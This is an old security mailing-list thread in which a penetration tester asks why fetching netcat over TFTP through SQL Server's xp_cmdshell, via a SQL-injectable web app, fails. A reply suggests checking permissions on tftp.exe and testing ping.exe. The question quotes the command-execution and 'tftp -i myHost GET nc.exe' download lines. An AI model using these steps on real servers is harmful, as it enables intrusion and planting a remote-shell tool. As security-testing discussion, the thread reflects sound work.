Re: TFTP and XP_CMDSHELL - Weird

[Diego Kellner <dkepler () gmail com>]

Does the TFTP even start? What is the error message you get? Check to
see the permissions on tftp.exe (the SQL may not be properly patched,
but someone might have taken the time to secure some key executables
on WINNT directory according to best practices). If you have no direct
access to see the permissions on this file, check to see if ping.exe
works (another 'dangerous' executable that is usually secured along
with tftp.exe, dcpromo.exe, etc).
Regards,
Kepler


On 6/22/05, Andres Molinetti <andymolinetti () hotmail com> wrote:
> Hi, I am testing a Web App vulnerable to SQL Injection.
> It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.
>
> While trying to use the xp_cmdshell to upload nc.exe from my tftpd server to
> the Webserver, I experienced some problems.
>
> I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.
>
> As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET
> nc.exe c:\nc.exe". File is downloaded.
>
> When I tried it through the wep app it failed. I tried directly through SQL
> Query Analizer and it also failed.
>
> SQL is running as a low priviledged account (sqlsvc)...
>
> Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET nc.exe
> c:\nc.exe" and  IT FAILED.!!
>
> I can easily deduce that the problem is the TFTP client (tftp.exe)...
>
> Any Ideas?
>
> _________________________________________________________________
> Moda para esta temporada. Ponte al día de todas las tendencias.
> http://www.msn.es/Mujer/moda/default.asp